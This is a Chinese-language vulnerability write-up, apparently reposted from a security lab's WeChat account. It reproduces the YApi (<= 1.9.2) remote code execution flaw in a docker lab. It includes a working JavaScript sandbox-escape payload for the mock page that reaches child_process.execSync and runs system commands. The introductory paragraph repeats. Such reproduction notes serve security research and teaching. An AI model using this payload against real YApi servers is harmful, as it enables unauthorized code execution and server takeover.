漏洞简介
YApi是一个基于Node.JS开发的API管理工具。如果启用了YApi服务器的注册,攻击者将能够在Mock页面中执行任意Javascript代码。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。
影响版本
YApi <= 1.9.2
漏洞复现
YApi是一个基于Node.JS开发的API管理工具。如果启用了YApi服务器的注册,攻击者将能够在Mock页面中执行任意Javascript代码。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。
影响版本
YApi <= 1.9.2
漏洞复现
docker-compose up -d
开启服务后,访问http://your-ip:3000
按照要求注册一个普通用户,信息随便填写
进入个人页面后,随便创建一个项目,这里我创建了一个webshell项目
在新创建的项目中添加一个接口
因为该管理工具可以在Mock页面中执行任意Javascript代码,所以我们在新建的项目中的mock页面写入我们需要执行的JS代码
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync(
"id;uname -a;pwd"
).toString()
这里注意我们要先点击开启再保存,否则该js代码无法被执行。回到之前的预览页面,就会出现一条url,点击该url,mack处的js代码被执行成功爆出以下信息
原文始发于微信公众号(巢安实验室):YApi开放注册导致rce漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论